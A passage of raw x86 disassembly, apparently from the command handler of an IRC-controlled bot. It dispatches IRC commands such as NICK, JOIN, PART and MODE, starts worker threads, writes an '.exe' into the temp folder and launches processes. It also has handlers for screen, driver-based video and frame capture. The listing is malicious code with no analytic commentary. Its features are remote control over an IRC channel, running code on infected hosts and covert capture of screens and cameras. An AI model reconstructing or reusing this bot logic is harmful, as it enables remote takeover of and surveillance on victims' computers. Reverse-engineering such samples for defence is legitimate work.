mov dword_45602C[ecx], eax
jz short loc_4083AB
loc_408395: ; CODE XREF: sub_401CC7+66E2j
cmp [ebp+var_161C], ebx
jnz loc_406F59
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_408395
; ---------------------------------------------------------------------------
loc_4083AB: ; CODE XREF: sub_401CC7+66CCj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_442CB4
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_4083BC: ; CODE XREF: sub_401CC7+4C04j
; sub_401CC7+4C1Bj
push edi ; Str
call _atoi
cmp eax, ebx
pop ecx
mov [ebp+var_1D64], eax
jle loc_4084AF
push [ebp+Source] ; Format
mov esi, 80h
lea eax, [ebp+var_1EEC]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+Format] ; Format
setnz al
mov [ebp+var_1D60], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF0], eax
lea eax, [ebp+var_1DEC]
push esi ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1D5C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_1D58], eax
push [ebp+Source]
lea eax, [ebp+Dst]
push offset asc_442BDC ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 15h ; int
push eax ; Source
call sub_40B756
add esp, 20h
mov [ebp+var_1D6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF0]
push ebx
push eax
push offset sub_41391E
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1D6C]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_40849E
loc_40848C: ; CODE XREF: sub_401CC7+67D5j
cmp [ebp+var_1D54], ebx
jnz short loc_408506
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_40848C
; ---------------------------------------------------------------------------
loc_40849E: ; CODE XREF: sub_401CC7+67C3j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_442C08
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_4084AF: ; CODE XREF: sub_401CC7+6704j
push offset unk_442C40
jmp loc_40717F
; ---------------------------------------------------------------------------
loc_4084B9: ; CODE XREF: sub_401CC7+4BD6j
; sub_401CC7+4BEDj
push edi
push [ebp+Source]
call ds:dword_4F5388 ; MoveFileA
test eax, eax
jz short loc_4084E6
push edi
lea eax, [ebp+Dst]
push [ebp+Source]
push offset asc_442B98 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_408506
; ---------------------------------------------------------------------------
loc_4084E6: ; CODE XREF: sub_401CC7+67FEj
push offset dword_442BBC
call sub_418E65
pop ecx
push eax ; Format
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
loc_408503: ; CODE XREF: sub_401CC7+2F1Bj
; sub_401CC7+55F0j
add esp, 0Ch
loc_408506: ; CODE XREF: sub_401CC7+2127j
; sub_401CC7+2EBDj ...
cmp [ebp+var_8], ebx
jnz loc_408637
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
loc_408523: ; CODE XREF: sub_401CC7+5847j
call sub_409D34
add esp, 14h
jmp loc_408637
; ---------------------------------------------------------------------------
loc_408530: ; CODE XREF: sub_401CC7+4BA8j
; sub_401CC7+4BBFj
push [ebp+Source] ; Format
lea eax, [ebp+var_3F04]
push 104h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_40856A
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40856A
push eax ; Format
lea eax, [ebp+var_3E00]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40856A: ; CODE XREF: sub_401CC7+6883j
; sub_401CC7+6892j
push [ebp+Format] ; Format
lea eax, [ebp+var_3F84]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_3F88], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CF8], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF4], eax
lea eax, [ebp+var_3E00]
push eax
lea eax, [ebp+var_3F04]
push eax
push offset asc_442B20 ; "-"
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 24h ; int
push eax ; Source
call sub_40B756
add esp, 20h
mov [ebp+var_3CFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F88]
push ebx
push eax
push offset sub_417822
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_3CFC]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_40861C
loc_40860A: ; CODE XREF: sub_401CC7+6953j
cmp [ebp+var_3CF0], ebx
jnz short loc_408637
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_40860A
; ---------------------------------------------------------------------------
loc_40861C: ; CODE XREF: sub_401CC7+6941j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset asc_442B50 ; "-"
loc_408628: ; CODE XREF: sub_401CC7+90Dj
; sub_401CC7+A4Bj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_408637: ; CODE XREF: sub_401CC7+7D2j
; sub_401CC7+934j ...
push 1
pop esi
jmp loc_406F7D
; ---------------------------------------------------------------------------
loc_40863F: ; CODE XREF: sub_401CC7+4B7Aj
; sub_401CC7+4B91j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi ; Size
push ebx ; Val
push eax ; Dst
call _memset
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push [ebp+Source] ; Str
mov [ebp+var_63C], esi
call _atoi
add esp, 10h
cmp eax, esi
jnz short loc_40867E
mov [ebp+var_638], 5
loc_40867E: ; CODE XREF: sub_401CC7+69ACj
cmp [ebp+var_C], ebx
jz loc_406F59
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406F59
lea eax, [ebp+var_E10]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call ds:dword_4F5340 ; CreateProcessA
test eax, eax
jnz short loc_4086C7
push offset unk_442AD0
jmp loc_408850
; ---------------------------------------------------------------------------
loc_4086C7: ; CODE XREF: sub_401CC7+69F4j
push edi
push offset dword_442AF4
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_4086D2: ; CODE XREF: sub_401CC7+4B4Cj
; sub_401CC7+4B63j
push edi ; Str2
push offset aTrb ; "trb"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40884B
lea eax, [ebp+var_48F0]
push eax
push 104h
call ds:dword_4F5384 ; GetTempPathA
push 0FFh ; Count
lea eax, [ebp+var_25D0]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_17D0]
push eax
call sub_40B135
add esp, 10h
push eax
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_24D0]
push offset aSS_exe ; "%s%s.exe"
push eax ; Dest
call _sprintf
mov eax, [ebp+esi+Str2]
add esp, 10h
cmp eax, ebx
mov [ebp+var_23CC], 1
mov [ebp+var_23C8], ebx
jz short loc_408767
push 10h ; Radix
push ebx ; EndPtr
push eax ; Str
call _strtoul
add esp, 0Ch
mov [ebp+var_23C0], eax
jmp short loc_40876D
; ---------------------------------------------------------------------------
loc_408767: ; CODE XREF: sub_401CC7+6A8Aj
mov [ebp+var_23C0], ebx
loc_40876D: ; CODE XREF: sub_401CC7+6A9Ej
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_408784
push esi ; Str
call _atoi
pop ecx
mov [ebp+var_23C4], eax
jmp short loc_40878A
; ---------------------------------------------------------------------------
loc_408784: ; CODE XREF: sub_401CC7+6AACj
mov [ebp+var_23C4], ebx
loc_40878A: ; CODE XREF: sub_401CC7+6ABBj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_23BC], eax
lea eax, [ebp+var_2650]
mov [ebp+var_2654], esi
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_23B4], eax
mov eax, [ebp+var_8]
push [ebp+Source]
mov [ebp+var_23B8], eax
lea eax, [ebp+Dst]
push offset asc_442A14 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push 1Eh ; int
push eax ; Source
call sub_40B756
add esp, 18h
mov [ebp+var_23D0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2654]
push ebx
push eax
push offset sub_416F62
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_23D0]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_40883A
loc_408824: ; CODE XREF: sub_401CC7+6B71j
cmp [ebp+var_23B0], ebx
jnz loc_406F59
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_408824
; ---------------------------------------------------------------------------
loc_40883A: ; CODE XREF: sub_401CC7+6B5Bj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_442A40
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_40884B: ; CODE XREF: sub_401CC7+6A1Aj
push offset asc_442A7C ; "-"
loc_408850: ; CODE XREF: sub_401CC7+2E64j
; sub_401CC7+4574j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_406F59
; ---------------------------------------------------------------------------
loc_408863: ; CODE XREF: sub_401CC7+4B1Ej
; sub_401CC7+4B35j
push dword ptr [ebp+Args] ; Str2
push offset a332_0 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_402085
cmp [ebp+var_C], ebx
jz loc_402085
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
pop ecx
push eax
lea eax, [ebp+Dst]
push [ebp+Format]
push dword ptr [ebp+Args]
push [ebp+var_90]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push 1FFh ; Count
push eax ; Source
push [ebp+Src] ; Dest
call _strncpy
push [ebp+Source] ; Str
call _atoi
add esp, 28h
test eax, eax
jle short loc_4088EE
push [ebp+Source] ; Str
call _atoi
imul eax, 3E8h
pop ecx
push eax
call ds:dword_4F534C ; Sleep
loc_4088EE: ; CODE XREF: sub_401CC7+6C0Fj
push offset dword_4429E8
call sub_415C3F
mov eax, [ebp+File]
pop ecx
inc eax
jmp loc_402088
; ---------------------------------------------------------------------------
loc_408902: ; CODE XREF: sub_401CC7+4AF0j
; sub_401CC7+4B07j
push dword ptr [ebp+Args] ; Str2
push offset a332_1 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_402085
cmp [ebp+var_C], ebx
jz loc_409B16
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
inc edi
push offset aRepeat_0 ; "repeat"
push edi ; Str1
mov esi, eax
call _strcmp
add esp, 10h
test eax, eax
push esi
jz short loc_4089C0
push [ebp+Format]
lea eax, [ebp+Dst]
push dword ptr [ebp+Args]
push [ebp+var_90]
push offset aSSSS_0 ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push 1FFh ; Count
push eax ; Source
push [ebp+Src] ; Dest
call _strncpy
add esp, 24h
lea eax, [ebp+Dst]
push esi
push offset asc_44297C ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_415C3F
push [ebp+Source] ; Str
call _atoi
add esp, 14h
test eax, eax
jle loc_409B16
push [ebp+Source] ; Str
call _atoi
add eax, [ebp+File]
pop ecx
jmp loc_402088
; ---------------------------------------------------------------------------
loc_4089C0: ; CODE XREF: sub_401CC7+6C7Bj
push offset asc_442994 ; "-"
loc_4089C5: ; CODE XREF: sub_401CC7+75EBj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_4089D4: ; CODE XREF: sub_401CC7+7573j
; sub_401CC7+76CCj
cmp [ebp+var_8], ebx
jnz short loc_4089F5
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
loc_4089F5: ; CODE XREF: sub_401CC7+6D10j
; sub_401CC7+7370j ...
lea eax, [ebp+Dst]
push eax
call sub_415C3F
jmp loc_409B15
; ---------------------------------------------------------------------------
loc_408A06: ; CODE XREF: sub_401CC7+4AC2j
; sub_401CC7+4AD9j
push 7Fh ; Count
lea eax, [ebp+var_2214]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push 7Fh ; Count
lea eax, [ebp+var_2194]
push edi ; Source
push eax ; Dest
call _strncpy
push 7Fh ; Count
lea eax, [ebp+var_2114]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2090], eax
mov eax, [ebp+var_8]
push edi
push [ebp+Source]
mov [ebp+var_208C], eax
lea eax, [ebp+Dst]
mov [ebp+var_2218], esi
push offset asc_4428E4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Fh ; int
push eax ; Source
call sub_40B756
add esp, 1Ch
mov [ebp+var_2094], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2218]
push ebx
push eax
push offset sub_414E4C
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_2094]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_408AC6
loc_408AB4: ; CODE XREF: sub_401CC7+6DFDj
cmp [ebp+var_2088], ebx
jnz short loc_408AE1
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_408AB4
; ---------------------------------------------------------------------------
loc_408AC6: ; CODE XREF: sub_401CC7+6DEBj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset asc_442918 ; "-"
loc_408AD2: ; CODE XREF: sub_401CC7+6F0Aj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_408AE1: ; CODE XREF: sub_401CC7+6DF3j
; sub_401CC7+6EEEj
cmp [ebp+var_8], ebx
jnz loc_4098F2
push ebx
lea eax, [ebp+Dst]
push [ebp+var_4]
push eax
push [ebp+Format]
push esi
jmp loc_4098EA
; ---------------------------------------------------------------------------
loc_408B01: ; CODE XREF: sub_401CC7+4A94j
; sub_401CC7+4AABj
push 7Fh ; Count
lea eax, [ebp+var_23A8]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push 7Fh ; Count
lea eax, [ebp+var_2328]
push edi ; Source
push eax ; Dest
call _strncpy
push 7Fh ; Count
lea eax, [ebp+var_22A8]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2224], eax
mov eax, [ebp+var_8]
push edi
push [ebp+Source]
mov [ebp+var_2220], eax
lea eax, [ebp+Dst]
mov [ebp+var_23AC], esi
push offset asc_442870 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 11h ; int
push eax ; Source
call sub_40B756
add esp, 1Ch
mov [ebp+var_2228], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23AC]
push ebx
push eax
push offset sub_4145F8
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_2228]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_408BC5
loc_408BAF: ; CODE XREF: sub_401CC7+6EFCj
cmp [ebp+var_221C], ebx
jnz loc_408AE1
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_408BAF
; ---------------------------------------------------------------------------
loc_408BC5: ; CODE XREF: sub_401CC7+6EE6j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_44289C
jmp loc_408AD2
; ---------------------------------------------------------------------------
loc_408BD6: ; CODE XREF: sub_401CC7+4A66j
; sub_401CC7+4A7Dj
push edi
lea eax, [ebp+Dst]
push offset aPartS_0 ; "PART %s"
push eax ; Dest
call _sprintf
push [ebp+Source] ; Str
call _atoi
add esp, 10h
test eax, eax
jle loc_409B16
push [ebp+Source] ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409B16
lea eax, [ebp+Dst]
push eax ; Args
push offset aS_14 ; "%s\r\n"
loc_408C1B: ; CODE XREF: sub_401CC7+6FBFj
; sub_401CC7+7B1Dj
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_456024[eax] ; int
call sub_409CEE
jmp loc_404B1E
; ---------------------------------------------------------------------------
loc_408C3A: ; CODE XREF: sub_401CC7+4A38j
; sub_401CC7+4A4Fj
push [ebp+esi+Str2]
lea eax, [ebp+Dst]
push edi
push offset aJoinSS_1 ; "JOIN %s %s"
push eax ; Dest
call _sprintf
push [ebp+Source] ; Str
call _atoi
add esp, 14h
test eax, eax
jle loc_409B16
push [ebp+Source] ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409B16
lea eax, [ebp+Dst]
push eax
push offset aS_15 ; "%s\r\n"
jmp short loc_408C1B
; ---------------------------------------------------------------------------
loc_408C88: ; CODE XREF: sub_401CC7+4A0Aj
; sub_401CC7+4A21j
push edi
lea eax, [ebp+Dst]
push offset aNickS_5 ; "NICK %s"
push eax ; Dest
call _sprintf
mov esi, [ebp+Source]
push esi ; Str
call _atoi
add esp, 10h
test eax, eax
jle loc_409B16
push esi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409B16
lea eax, [ebp+Dst]
push eax ; Args
push offset aS_16 ; "%s\r\n"
push esi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_456024[eax] ; int
call sub_409CEE
add esp, 0Ch
push edi
push esi ; Args
push offset dword_44280C ; Format
loc_408CEE: ; CODE XREF: sub_401CC7+70B2j
; sub_401CC7+7121j ...
call sub_415CB3
jmp loc_404B1E
; ---------------------------------------------------------------------------
loc_408CF8: ; CODE XREF: sub_401CC7+49DCj
; sub_401CC7+49F3j
cmp [ebp+var_C], ebx
jz loc_409B16
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408D27
push esi
lea eax, [ebp+Dst]
push offset aModeS ; "MODE %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_408D27: ; CODE XREF: sub_401CC7+7049j
mov edi, [ebp+Source]
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_409B16
push edi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409B16
lea eax, [ebp+Dst]
push eax ; Args
push offset aS_17 ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_456024[eax] ; int
call sub_409CEE
add esp, 0Ch
push esi
push edi
push offset dword_4427D4
jmp loc_408CEE
; ---------------------------------------------------------------------------
loc_408D7E: ; CODE XREF: sub_401CC7+49AEj
; sub_401CC7+49C5j
cmp [ebp+var_C], ebx
jz loc_409B16
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409B16
mov edi, [ebp+Source]
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_409B16
push edi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409B16
push esi ; Args
push offset aS_18 ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_456024[eax] ; int
call sub_409CEE
add esp, 0Ch
push esi
push edi
push offset dword_44279C
jmp loc_408CEE
; ---------------------------------------------------------------------------
loc_408DED: ; CODE XREF: sub_401CC7+4980j
; sub_401CC7+4997j
cmp [ebp+var_C], ebx
jz loc_409B16
push [ebp+Source] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409B16
push esi ; Args
push offset aModeS_0 ; "MODE %s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
add esp, 0Ch
push esi
push offset unk_44276C
jmp loc_409B0F
; ---------------------------------------------------------------------------
loc_408E29: ; CODE XREF: sub_401CC7+4952j
; sub_401CC7+4969j
push dword ptr [ebp+Args] ; Str2
push offset a332_2 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_402085
push edi ; Args
push offset aPartS_1 ; "PART %s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
push [ebp+Source] ; Str
call _atoi
imul eax, 3E8h
add esp, 10h
push eax
call ds:dword_4F534C ; Sleep
push [ebp+esi+Str2]
push edi ; Args
push offset aJoinSS_2 ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
push offset dword_442740
call sub_415C3F
jmp loc_40370A
; ---------------------------------------------------------------------------
loc_408E8D: ; CODE XREF: sub_401CC7+4924j
; sub_401CC7+493Bj
cmp [ebp+var_C], ebx
jz loc_409B16
push [ebp+Source] ; Str
call _strlen
push [ebp+arg_8] ; Str
mov esi, eax
call _strlen
add eax, [ebp+var_C]
push edi ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409B16
push esi
lea eax, [ebp+Dst]
push offset dword_4426EC ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push ebx ; int
push eax ; int
push [ebp+Source] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 20h
push esi
push [ebp+Source]
push offset unk_4426F8
jmp loc_408CEE
; ---------------------------------------------------------------------------
loc_408EFA: ; CODE XREF: sub_401CC7+48F6j
; sub_401CC7+490Dj
cmp [ebp+var_C], ebx
jz loc_409B16
push [ebp+Source] ; Str
call _strlen
push [ebp+arg_8] ; Str
mov esi, eax
call _strlen
add eax, [ebp+var_C]
push edi ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409B16
push ebx ; int
push ebx ; int
push esi ; int
push [ebp+Source] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
push esi
push [ebp+Source]
push offset unk_4426C0
jmp loc_408CEE
; ---------------------------------------------------------------------------
loc_408F4F: ; CODE XREF: sub_401CC7+48C8j
; sub_401CC7+48DFj
cmp [ebp+var_C], ebx
jz loc_402085
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_402085
push eax ; int
push [ebp+Source] ; Str2
call sub_415B47
pop ecx
pop ecx
push [ebp+Source]
push offset asc_442694 ; "-"
loc_408F7E: ; CODE XREF: sub_401CC7+58D3j
; sub_401CC7+7BF2j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_4098D1
; ---------------------------------------------------------------------------
loc_408F92: ; CODE XREF: sub_401CC7+489Aj
; sub_401CC7+48B1j
push edi ; int
push [ebp+Source] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_41927E
jmp loc_4042E7
; ---------------------------------------------------------------------------
loc_408FAC: ; CODE XREF: sub_401CC7+485Cj
; sub_401CC7+4871j
push [ebp+Source] ; SubStr
push [ebp+arg_1C] ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz loc_409B16
mov esi, [ebp+esi+Format]
cmp esi, ebx
jz loc_409054
push esi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_40903C
push esi
lea eax, [ebp+Dst]
push [ebp+Format]
push dword ptr [ebp+Args]
push [ebp+var_90]
push offset aSSSS_1 ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push 1FFh ; Count
push eax ; Source
push [ebp+Src] ; Dest
call _strncpy
add esp, 24h
lea eax, [ebp+Dst]
push esi
push [ebp+Source]
push offset asc_442604 ; "-"
push eax ; Dest
call _sprintf
add esp, 10h
inc [ebp+File]
jmp loc_4089F5
; ---------------------------------------------------------------------------
loc_40903C: ; CODE XREF: sub_401CC7+7318j
lea eax, [ebp+Dst]
push offset asc_44262C ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_4089F5
; ---------------------------------------------------------------------------
loc_409054: ; CODE XREF: sub_401CC7+7303j
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41BBE0
add esp, 0Ch
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
lea eax, [ebp+Dst]
push [ebp+Source]
push offset asc_44265C ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
jmp loc_4089F5
; ---------------------------------------------------------------------------
loc_4090A0: ; CODE XREF: sub_401CC7+4832j
; sub_401CC7+4847j
push offset aScreen ; "screen"
push [ebp+Source] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4090FB
mov edi, [ebp+esi+Format]
cmp edi, ebx
jz short loc_4090E8
push edi
call sub_415F1E
cmp eax, 1
pop ecx
jnz short loc_4090E1
push edi
lea eax, [ebp+Dst]
push offset asc_4423A4 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_4090FB
; ---------------------------------------------------------------------------
loc_4090E1: ; CODE XREF: sub_401CC7+7401j
push offset unk_4423D0
jmp short loc_4090ED
; ---------------------------------------------------------------------------
loc_4090E8: ; CODE XREF: sub_401CC7+73F5j
push offset asc_442400 ; "-"
loc_4090ED: ; CODE XREF: sub_401CC7+741Fj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4090FB: ; CODE XREF: sub_401CC7+73EAj
; sub_401CC7+7418j
push offset aDrivers ; "drivers"
push [ebp+Source] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_409188
xor edi, edi
loc_409110: ; CODE XREF: sub_401CC7+74ACj
lea eax, [ebp+var_53F8]
push 1FFh
push eax
lea eax, [ebp+var_4EF0]
push 0FFh
push eax
push edi
call dword_4E3128
test eax, eax
jz short loc_40916F
lea eax, [ebp+var_53F8]
push eax
lea eax, [ebp+var_4EF0]
push eax
push edi
lea eax, [ebp+var_5D88]
push offset asc_442444 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+var_5D88]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 28h
loc_40916F: ; CODE XREF: sub_401CC7+746Aj
inc edi
cmp edi, 0Ah
jl short loc_409110
lea eax, [ebp+Dst]
push offset asc_44246C ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_409188: ; CODE XREF: sub_401CC7+7445j
push offset aFrame ; "frame"
push [ebp+Source] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409229
cmp [ebp+esi+Format], ebx
jz short loc_409216
cmp [ebp+esi+Str2], ebx
jz short loc_409216
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_409216
mov eax, [ebp+esi+var_7C]
cmp eax, ebx
jz short loc_409216
push eax ; Str
call _atoi
pop ecx
push eax ; int
push edi ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+esi+Str2] ; Str
call _atoi
pop ecx
push eax ; Size
push [ebp+esi+Format] ; int
call sub_416159
add esp, 10h
test eax, eax
jnz short loc_40920F
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset asc_44249C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_409229
; ---------------------------------------------------------------------------
loc_40920F: ; CODE XREF: sub_401CC7+7529j
push offset unk_4424C8
jmp short loc_40921B
; ---------------------------------------------------------------------------
loc_409216: ; CODE XREF: sub_401CC7+74DFj
; sub_401CC7+74E8j ...
push offset asc_4424FC ; "-"
loc_40921B: ; CODE XREF: sub_401CC7+754Dj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_409229: ; CODE XREF: sub_401CC7+74D2j
; sub_401CC7+7546j
push offset aVideo ; "video"
push [ebp+Source] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4089D4
mov eax, [ebp+esi+Format]
cmp eax, ebx
mov [ebp+arg_1C], eax
jz short loc_4092C1
mov eax, [ebp+esi+Str2]
cmp eax, ebx
mov [ebp+Src], eax
jz short loc_4092C1
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_4092C1
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
jz short loc_4092C1
mov esi, [ebp+esi+var_78]
cmp esi, ebx
jz short loc_4092C1
push esi ; Str
call _atoi
pop ecx
push eax ; int
push edi ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+arg_18] ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+Src] ; Str
call _atoi
pop ecx
push eax ; Size
push [ebp+arg_1C] ; int
call sub_416352
add esp, 14h
test eax, eax
jnz short loc_4092B7
push [ebp+arg_1C]
push offset unk_44253C
